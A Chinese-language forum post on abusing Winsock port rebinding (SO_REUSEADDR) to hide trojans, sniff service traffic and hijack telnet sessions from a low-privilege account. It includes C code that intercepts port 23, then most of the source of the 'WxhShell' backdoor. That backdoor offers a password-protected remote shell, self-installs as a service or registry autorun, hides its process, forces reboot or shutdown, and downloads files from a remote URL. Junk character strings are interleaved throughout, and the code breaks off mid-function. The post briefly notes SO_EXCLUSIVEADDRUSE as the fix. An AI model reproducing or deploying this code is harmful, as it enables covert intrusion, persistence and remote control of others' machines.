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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xz;et>UD*B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `,F&y{ A  
u5xU)l3  
  saddr.sin_family = AF_INET; >wz;}9v  
y #hga5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <;2P._oZ  
8QkWgd7y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kvMk:.  
?b!CV   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tebWj>+1c  
bYwI==3  
  这意味着什么?意味着可以进行如下的攻击: b@nri5noBm  
\>*MMe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YD/B')/ s  
}*fW!(*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r Iya\z1W  
/e-ka{WS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zjluX\  
Z! C`f/h9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $nUd\B$.=  
6{JR0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k#1`  
*u|lmALs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >P6^k!R1y  
/'8*aUa  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Sqp;/&Ji  
{-xi0D/Y;  
  #include 5~_eN  
  #include an*]62l  
  #include QU-7Ch#8  
  #include    %NF<bEV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w Mlf3Uz  
  int main() !Z<mrr;T@  
  { X_lUD?y  
  WORD wVersionRequested; /|4Q9=  
  DWORD ret; dWzDSlP&  
  WSADATA wsaData; R&u)=~O\5  
  BOOL val; WUE)SVf  
  SOCKADDR_IN saddr; ^kCk^D-Gz  
  SOCKADDR_IN scaddr; -XS+Uv  
  int err; u)q2YLK8  
  SOCKET s; e3yorQ][  
  SOCKET sc; 5PPPd-'Z_  
  int caddsize; e.)yV'%L  
  HANDLE mt; }};j2  
  DWORD tid;   1kB'sc3N!  
  wVersionRequested = MAKEWORD( 2, 2 ); x&hvFG3  
  err = WSAStartup( wVersionRequested, &wsaData ); Bi9 N  
  if ( err != 0 ) { { 4_I7r  
  printf("error!WSAStartup failed!\n"); d-6sC@PB  
  return -1; 2ru*#Z#(  
  } f7EIDFX>pt  
  saddr.sin_family = AF_INET; &^CL] &/  
   +z]:CF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T[Z <bW~0  
2]of SdM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,XWay%8{E  
  saddr.sin_port = htons(23); G"T;l"TAt8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,\sR;=svK  
  { w6WGFQ_%  
  printf("error!socket failed!\n"); R`Ys;g/!  
  return -1; <;$Sa's,LE  
  } X_-Hrp!h  
  val = TRUE; rE1np^z7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cM> G>Yzo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ! /|0:QQi  
  { #hy5c,}>  
  printf("error!setsockopt failed!\n"); ugIm:bg&  
  return -1; 38x[Ad4%  
  } ^D ]7pe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9[t]]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ({d,oU$>y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d vg;  
x*loACee.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GsP@ B'  
  { OBKC$e6I  
  ret=GetLastError(); vxbH^b  
  printf("error!bind failed!\n"); }<5\O*kX4  
  return -1; /I`cS%U  
  } sx)$=~o  
  listen(s,2); KRnB[$3F1  
  while(1) E>l#0Zw  
  { 2R_opbw  
  caddsize = sizeof(scaddr); C,OB3y  
  //接受连接请求 haEZp6Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *#prSS  
  if(sc!=INVALID_SOCKET) \28b_,i+  
  { bBeFL~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mR" 2  
  if(mt==NULL) M\Uc;:) H  
  { Mv7w5vTl  
  printf("Thread Creat Failed!\n"); FT3,k&i  
  break; ~n8Oyr  
  } :w {M6mM>  
  } {|Mxvp*Hg  
  CloseHandle(mt); xoz*UA.  
  } 8^P2GG'+-  
  closesocket(s); zCj*:n  
  WSACleanup(); =#POMK".6  
  return 0; d!}jdt5%  
  }   xVHQ[I%  
  DWORD WINAPI ClientThread(LPVOID lpParam) fJF8/IQ4  
  { i h`y0(<  
  SOCKET ss = (SOCKET)lpParam; Pjj;.c 7_j  
  SOCKET sc; OVQxZ~uQ  
  unsigned char buf[4096]; 26('V `N  
  SOCKADDR_IN saddr; ,{`o/F/  
  long num; 0btmao-  
  DWORD val; cjy0s+>>  
  DWORD ret;  bbQ 10H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8M3p\}O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >n$E e J  
  saddr.sin_family = AF_INET; IxEQh)J X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k"DQbUy0L  
  saddr.sin_port = htons(23); WRLu 3nBx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (zM+7tJH  
  { 43}&w.AS  
  printf("error!socket failed!\n"); (<> Sz(  
  return -1; bY"eC i{K  
  } Ol/2%UJXL  
  val = 100; HAI1%F236  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5Re`D|8  
  { 9|G=KN)P:  
  ret = GetLastError(); "b1R5(Ar  
  return -1; %T,\xZ  
  } %`s9yRk9>E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,h wf  
  { ',J%Mv>Yf  
  ret = GetLastError(); {*ko=77$*  
  return -1; V%{ 9o  
  } ]mO+<{{4X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  jKb=Zkd  
  { d9[6kQ]  
  printf("error!socket connect failed!\n"); H z < M  
  closesocket(sc); Skk3M?  
  closesocket(ss); VvM U)  
  return -1; tI!R5q;k  
  } bb O;AiHD  
  while(1) soQv?4  
  { !Lg}q!*%>V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qG2\` +v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E3.W#=o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e~2*> 5\:  
  num = recv(ss,buf,4096,0); V)?x*R*T)  
  if(num>0) #:ED 0</  
  send(sc,buf,num,0); m|Q&Lphb8  
  else if(num==0) PE;0 jgsiI  
  break; qI V`zZc  
  num = recv(sc,buf,4096,0); 2)I'5 ?I  
  if(num>0) z5o9\.y({  
  send(ss,buf,num,0); Fb<\(#t  
  else if(num==0) p-(ADQS  
  break; 9^Vx*KVrU  
  } w_z^5\u0  
  closesocket(ss); a,0o{* (u$  
  closesocket(sc); ?w5nKpG#RI  
  return 0 ; )Ido|!]0d  
  } )H37a  
z7l;|T  
`aWwF} +Y  
========================================================== NM.f0{:cj  
^kR^ QL$  
下边附上一个代码,,WXhSHELL {'wU&!  
->"h5h  
========================================================== gU 2c--`  
d8BK/b  
#include "stdafx.h" KJvJUq  
GE3U0w6WbK  
#include <stdio.h> Y;/=3T7An  
#include <string.h> IDk:jO  
#include <windows.h> TeN1\rA,  
#include <winsock2.h> # V9hG9%8  
#include <winsvc.h> S>ylAU;N  
#include <urlmon.h> .pu`\BW>  
Uf]Pd)D  
#pragma comment (lib, "Ws2_32.lib") t+)GB=C  
#pragma comment (lib, "urlmon.lib") \tw#p k  
koWb@V]  
#define MAX_USER   100 // 最大客户端连接数 B43#9CK`o  
#define BUF_SOCK   200 // sock buffer szsZFyW )+  
#define KEY_BUFF   255 // 输入 buffer , LPFb6o  
PK`(qK9  
#define REBOOT     0   // 重启 Xde=}9  
#define SHUTDOWN   1   // 关机 r;6YCI=z  
0R^(rE"2#  
#define DEF_PORT   5000 // 监听端口 j BQqpFH9  
gZ=9Y:$  
#define REG_LEN     16   // 注册表键长度 C2,cyhr  
#define SVC_LEN     80   // NT服务名长度 0Eg r Q  
\3:{LOr%*  
// 从dll定义API ;0X|*w1JO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `zsk*W1GA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \3Ald.EqtM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @XG`D>%k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +sbacMfq  
 [;LPeO  
// wxhshell配置信息 6pz:Lfd80  
struct WSCFG { AU?YZEAei  
  int ws_port;         // 监听端口 Ug'nr  
  char ws_passstr[REG_LEN]; // 口令 uu/7Ie  
  int ws_autoins;       // 安装标记, 1=yes 0=no jeuNTDjeL  
  char ws_regname[REG_LEN]; // 注册表键名 .STf  
  char ws_svcname[REG_LEN]; // 服务名 Nwu Be:"@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xg5@;p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 au}0PnA;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,c %gwzU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I;m@cSJ|j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EV,NJ3V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  yURh4@  
c"&!=@  
}; i.dAL)V  
!J?=nSu  
// default Wxhshell configuration OsSiBb,W79  
struct WSCFG wscfg={DEF_PORT, >`V|`Zi ?  
    "xuhuanlingzhe", A kQFb2|ir  
    1, ?}Ptb&Vk(  
    "Wxhshell", mS;Q8Crh  
    "Wxhshell", r_<i*l.  
            "WxhShell Service", \C\y' H5  
    "Wrsky Windows CmdShell Service", A)a+LW'=u  
    "Please Input Your Password: ", Ecl7=-y  
  1, " 7g8 d  
  "http://www.wrsky.com/wxhshell.exe", V'hz1roe  
  "Wxhshell.exe" PaI63 !  
    }; o|n0?bThS-  
 hahD.P<  
// 消息定义模块  SSM> ID  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @:&dOqQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MJR\ g3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nPX'E`ut-V  
char *msg_ws_ext="\n\rExit."; ^aM/BS\  
char *msg_ws_end="\n\rQuit."; 5+"8q#X$  
char *msg_ws_boot="\n\rReboot..."; <@ex})su  
char *msg_ws_poff="\n\rShutdown..."; LzSusjEW@  
char *msg_ws_down="\n\rSave to "; b020U>)v  
$zA[5}{ZtQ  
char *msg_ws_err="\n\rErr!"; q'-l; V|  
char *msg_ws_ok="\n\rOK!"; jN{xpd  
f! Nc+  
char ExeFile[MAX_PATH]; ;HwJw\fo  
int nUser = 0; T ]nR XW$  
HANDLE handles[MAX_USER]; Vw@x  
int OsIsNt;  X_S]8Aa  
F7u%oLjr  
SERVICE_STATUS       serviceStatus; (=B7_jrl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^ /eSby  
5*'N Q010  
// 函数声明 6 FxndR;  
int Install(void); KFG^vmrn  
int Uninstall(void); e7AI&5Eg{  
int DownloadFile(char *sURL, SOCKET wsh); Uy'ZL(2  
int Boot(int flag); " yl"A4p S  
void HideProc(void); `X03Q[:q"[  
int GetOsVer(void); &I_!&m~  
int Wxhshell(SOCKET wsl); r<H^%##,w  
void TalkWithClient(void *cs); R2f,a*>  
int CmdShell(SOCKET sock); (:k`wh&  
int StartFromService(void); \Le #+ P  
int StartWxhshell(LPSTR lpCmdLine); v" TH[}C9D  
%Ne>'252y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T1 .@Tbbt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Z(C' )7r  
NGGd6V%'-  
// 数据结构和表定义 [<Puh  
SERVICE_TABLE_ENTRY DispatchTable[] = bvvx(?!  
{ *3oQS"8  
{wscfg.ws_svcname, NTServiceMain}, Z'M@DY/fdK  
{NULL, NULL} Q%d[ U4@  
}; \:28z  
$)a5;--W  
// 自我安装 !t{!.  
int Install(void) \zDV|n~{w  
{ @TG~fJSA12  
  char svExeFile[MAX_PATH]; ~u1J R`y  
  HKEY key; Li$k<AM  
  strcpy(svExeFile,ExeFile); } /FM#Xh  
k(^b  
// 如果是win9x系统,修改注册表设为自启动 1#RA+d(  
if(!OsIsNt) { YH$`r6\S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ki\jiflc7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( ~o+pp!  
  RegCloseKey(key); 'm ((G4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *Y?]="8c#;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f 8U;T$)  
  RegCloseKey(key); >u[ln@ l  
  return 0; : P2;9+v  
    } ~qxc!k!w4  
  } 2M`Ni&v  
} +}'K6x_  
else { "FD~XSRL  
Pk2 "\y@q/  
// 如果是NT以上系统,安装为系统服务 -p~B -,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0nn# U  
if (schSCManager!=0) w-/Tb~#E  
{ c3mlO [(  
  SC_HANDLE schService = CreateService {$.{VE+v5  
  ( sNTfRPC  
  schSCManager, |9JYg7<  
  wscfg.ws_svcname, I<#kw)W!  
  wscfg.ws_svcdisp, 4K% YS  
  SERVICE_ALL_ACCESS, o4795r,jz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yq.@7cJ  
  SERVICE_AUTO_START, ,^T2hY`  
  SERVICE_ERROR_NORMAL, ]kvE+m&p}^  
  svExeFile, '93&?  
  NULL, c" HCc]  
  NULL, Jl}7]cVq#  
  NULL, ~=Sr0+vV  
  NULL, ;T(^riAEl  
  NULL 93,ExgFt  
  ); ,+{ 43;a  
  if (schService!=0) N/p_6GYMa  
  { ? 'nMZ  
  CloseServiceHandle(schService); A O]e^Q  
  CloseServiceHandle(schSCManager); BJTljg( {o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XoOe=V?I )  
  strcat(svExeFile,wscfg.ws_svcname); c Ix(;[U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KcE=m\h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J0o[WD$A x  
  RegCloseKey(key); U[u6UG  
  return 0; _l<"Qqt  
    } PV Q%y  
  } X?a67qL  
  CloseServiceHandle(schSCManager); `WL*Jb  
} a WC sLH  
} F!'"mU<f  
lnUy ? 0(  
return 1; =n&83MYX  
} P'';F}NwfX  
N*;/~bt7 P  
// 自我卸载 H(|v  
int Uninstall(void) #{a<{HX  
{ Nq8A vBwo4  
  HKEY key; z'*>Tk8h  
sa])^mkq(  
if(!OsIsNt) { uR[i9%=8L(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a1&^P1.  
  RegDeleteValue(key,wscfg.ws_regname); 7[PXZT  
  RegCloseKey(key); Urr1 K)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qK pU.rP  
  RegDeleteValue(key,wscfg.ws_regname); oj,  
  RegCloseKey(key); $6[]c)(  
  return 0; OduTg^R  
  } jTJ[2WaS  
} :4dili4|/  
} r}w 9?s^rB  
else { LGkKR{ep(  
wO9<An  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z'~FZRF  
if (schSCManager!=0) t<=L&:<N  
{ I&9B^fF6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1zffPC8jl  
  if (schService!=0) sQ$FtKm6  
  { :1I,:L  
  if(DeleteService(schService)!=0) { {z7{ta  
  CloseServiceHandle(schService); Y;WrfO$J  
  CloseServiceHandle(schSCManager); -K{ID$!p  
  return 0; !~#31kL&  
  } q]aRJ`9f  
  CloseServiceHandle(schService); 6lGL.m'Ra  
  } (`N/1}vk  
  CloseServiceHandle(schSCManager); ~a}pYLxl  
} 4KKNw9L)  
} d:aQlW;}  
\GN5Sy]r  
return 1; JqO( ]*"Hi  
} $i hI Hl6'  
c}lgWu~  
// 从指定url下载文件 >X]<s^  
int DownloadFile(char *sURL, SOCKET wsh) &nss[w$%C  
{ /:DxB00  
  HRESULT hr; b< rM3P;  
char seps[]= "/"; \]D;HR`vo  
char *token; e-WaK0Ep  
char *file; !}%giF$-  
char myURL[MAX_PATH]; [ kknY+n1  
char myFILE[MAX_PATH]; Ptg73Gm&R  
'nul{RE*  
strcpy(myURL,sURL); UkC\[$-"\  
  token=strtok(myURL,seps); cjL!$OE6  
  while(token!=NULL) ;%)i/MGEB  
  { XpGom;z^c  
    file=token; [O3R(`<e5  
  token=strtok(NULL,seps); F^ f]*MhT"  
  } (0S"ZT  
LImD]e`  
GetCurrentDirectory(MAX_PATH,myFILE); sdY6_HtE  
strcat(myFILE, "\\"); !dGgLU_  
strcat(myFILE, file); 9D bp`%j  
  send(wsh,myFILE,strlen(myFILE),0); 6\`,blkX  
send(wsh,"...",3,0); c:bB4ch}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (?Yz#Yf  
  if(hr==S_OK) LTF%b AQ,  
return 0; al2v1.Y}  
else >wn&+%i&  
return 1; aCanDMcBnq  
,/KHKLY7  
} =F`h2A;a  
gm8H)y,  
// 系统电源模块 ^a]:GPc  
int Boot(int flag) FR&RIFy  
{ REw3>/=  
  HANDLE hToken; >TE&myZ?*  
  TOKEN_PRIVILEGES tkp; biJU r^n  
%ug`dZ/  
  if(OsIsNt) { t :_7 O7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wNPZ[V:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |(/"IS]  
    tkp.PrivilegeCount = 1; F"q3p4-<>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1)%o:Xy o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9}4L 8?2  
if(flag==REBOOT) { qIk6S6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i|<*EXB"  
  return 0; 4bO7rhve  
} ?;$g,2n  
else { DN!EsQ6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T]:5y_4?[  
  return 0; `s+qz  
} 6x{B  
  } aRV<y8{9  
  else { 1F=x~FMvY  
if(flag==REBOOT) { 3RD Q{&J:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z d%*,\`S  
  return 0; UkdQ#b1  
} [~J4:yDd=  
else { N9i>81tY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d&fENnt?h  
  return 0; .{Xi&[jw  
} k~?@~xm,R  
} @a~K#Bvlm  
h_cZ&P|  
return 1; 0I.7I#'3O  
} Yrd K@I  
`pKQ|zGw  
// win9x进程隐藏模块 29E^]IL?  
void HideProc(void) w<'mV^S  
{ { d/k0H  
'd28YjtoX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rlds-j''  
  if ( hKernel != NULL ) /q>"">  
  { hGpaHY>My  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v/kYyz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eVy,7goh  
    FreeLibrary(hKernel); 9;@6iv  
  } ut o4bs:  
Kp"o0fh<9  
return; OaEOk57%de  
} D3_,2  
Q=+KnE=h  
// 获取操作系统版本 <@?bYp  
int GetOsVer(void) DukCXyB*l  
{ 8U-}%D<a  
  OSVERSIONINFO winfo; 1|zo -'y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G6I>Ry[2?  
  GetVersionEx(&winfo); /JvNJ f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kY*D s;  
  return 1; Pp}j=$&j\  
  else `=FfzL  
  return 0; X&K1>dgWP  
} $FD0MrB_+  
N[AX29  
// 客户端句柄模块 !#>{..}}3  
int Wxhshell(SOCKET wsl) _xbVAI4  
{ 3 D\I#g  
  SOCKET wsh; lc*<UZR  
  struct sockaddr_in client; aK,G6y  
  DWORD myID; P2lj#aQLS  
:imp~~L;  
  while(nUser<MAX_USER) wp} PQw:  
{ rHP5;j<]  
  int nSize=sizeof(client); chxO*G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,l~i|_  
  if(wsh==INVALID_SOCKET) return 1; $oh}!Smt  
{| Tl3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D].1X0^hp  
if(handles[nUser]==0) :V8 \^  
  closesocket(wsh); * c xYB  
else ab6KK$s  
  nUser++; `,xKK+~YG-  
  } gi~*1RIel;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0kmZO"K#e  
'sJYt^  
  return 0; "/wZtc  
} hMDy;oQ  
AuWEy-q?  
// 关闭 socket p6|0JBm  
void CloseIt(SOCKET wsh)  d':c  
{ <D=U=5  
closesocket(wsh); uP<tP:  
nUser--; ZMoN  
ExitThread(0); q*52|?  
} \=i>}Sg  
@*!8  
// 客户端请求句柄 ?oP<sGp  
void TalkWithClient(void *cs) B!6?+< J"  
{ D/{hLp{  
o AvX(  
  SOCKET wsh=(SOCKET)cs; O TSbhI'v  
  char pwd[SVC_LEN]; .I<#i9Le  
  char cmd[KEY_BUFF]; A[^fG_l4  
char chr[1]; ?9.SwIxU&  
int i,j; KxqJlben  
8eQ 4[wJY  
  while (nUser < MAX_USER) { jo/-'Lf{?  
um ,Zt  
if(wscfg.ws_passstr) { e0qU2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D&$%JT'3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P6@(nGgK<  
  //ZeroMemory(pwd,KEY_BUFF); 6_rS!X  
      i=0; ?X~Keb  
  while(i<SVC_LEN) { Yq}(O<ol  
p%ek)tT  
  // 设置超时 \$W>@w0  
  fd_set FdRead; @LqLtr@A  
  struct timeval TimeOut; L^!E4[ ^4  
  FD_ZERO(&FdRead); a}EO7tcg,  
  FD_SET(wsh,&FdRead); 1UT&kD!si  
  TimeOut.tv_sec=8; z q _*)V  
  TimeOut.tv_usec=0; iW9G0Ay  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '+JU(x{CCl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N8_ c%6GE  
rK7m(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4:WN-[xX  
  pwd=chr[0]; 3%p^>D\  
  if(chr[0]==0xd || chr[0]==0xa) { 4At{(fw W  
  pwd=0; |Q[[WHqj2f  
  break; t&*X~(Yb!  
  } -YPUrU[)  
  i++; :/A3l=}iV  
    } EA) K"C  
B=8],_  
  // 如果是非法用户,关闭 socket +O8rjVg)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oF7o"NHaWa  
} ,* !HN &  
S&^i*R4]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xz4T_-X8d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y|stxeOC  
H$^IT#  
while(1) { 3\JEp,5  
Xt& rYv  
  ZeroMemory(cmd,KEY_BUFF); dn!#c=  
]rY:C "#  
      // 自动支持客户端 telnet标准   !,WO]O v  
  j=0; gn4+$f~w  
  while(j<KEY_BUFF) { u?,M`w0'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OTwIR<_B+  
  cmd[j]=chr[0]; C3>&O?7J*7  
  if(chr[0]==0xa || chr[0]==0xd) { 9=YX9nP  
  cmd[j]=0; lXso@TNrZ0  
  break; V $Y=JK@  
  } <#HQU<  
  j++; rY yB"|  
    } VI_8r5o  
}04 EM  
  // 下载文件 G6@XRib3  
  if(strstr(cmd,"http://")) { )i|0Ubn[|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jga;nrU  
  if(DownloadFile(cmd,wsh)) J B[n]|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uI lm!*0  
  else m?*}yM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OpWTw&B"+  
  } \%[sv@P9s  
  else { dPvRbwH<  
M5\$+Tu  
    switch(cmd[0]) { oU"!"t  
  ~FCkr&Ky3  
  // 帮助 >JVdL\3  
  case '?': { ~$w9L998+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zp.-=)D4e  
    break; # O<,  
  } ; D'6sd"  
  // 安装 wX/0.aZ|  
  case 'i': { 8U86-'Pq  
    if(Install()) EnW}>XN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,r_%p<lOFu  
    else ?/3'j(Gk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}<?& @  
    break; yVZLZLm  
    } |tn.ZEgw3~  
  // 卸载 w&F.LiX^  
  case 'r': { I) ]"`2w2w  
    if(Uninstall()) ^?<gz!(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h$`zuz  
    else 05SK$ Y<<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h[*:\P`  
    break; F .h A.E  
    } v=8sj{g3,3  
  // 显示 wxhshell 所在路径 HAKB@h)  
  case 'p': { "@ 1+l&  
    char svExeFile[MAX_PATH]; FW=`Fm@z%%  
    strcpy(svExeFile,"\n\r"); ?cur}`  
      strcat(svExeFile,ExeFile); !a9`]c  
        send(wsh,svExeFile,strlen(svExeFile),0); X5_T?  
    break; 2e_m>I  
    }  2-$O$&s.  
  // 重启 X^o0t^  
  case 'b': { 1Y+g^Z;G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yor6h@F1  
    if(Boot(REBOOT)) 3%~c\naD?O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O n/q&h5  
    else { 4(nwi[1Y  
    closesocket(wsh); @h=r;N#/`P  
    ExitThread(0); i U"2uLgb  
    } +Hd'*'c  
    break; ?Z(xu~^/  
    } fug F k  
  // 关机 Ht4A   
  case 'd': { 6N< snBmd  
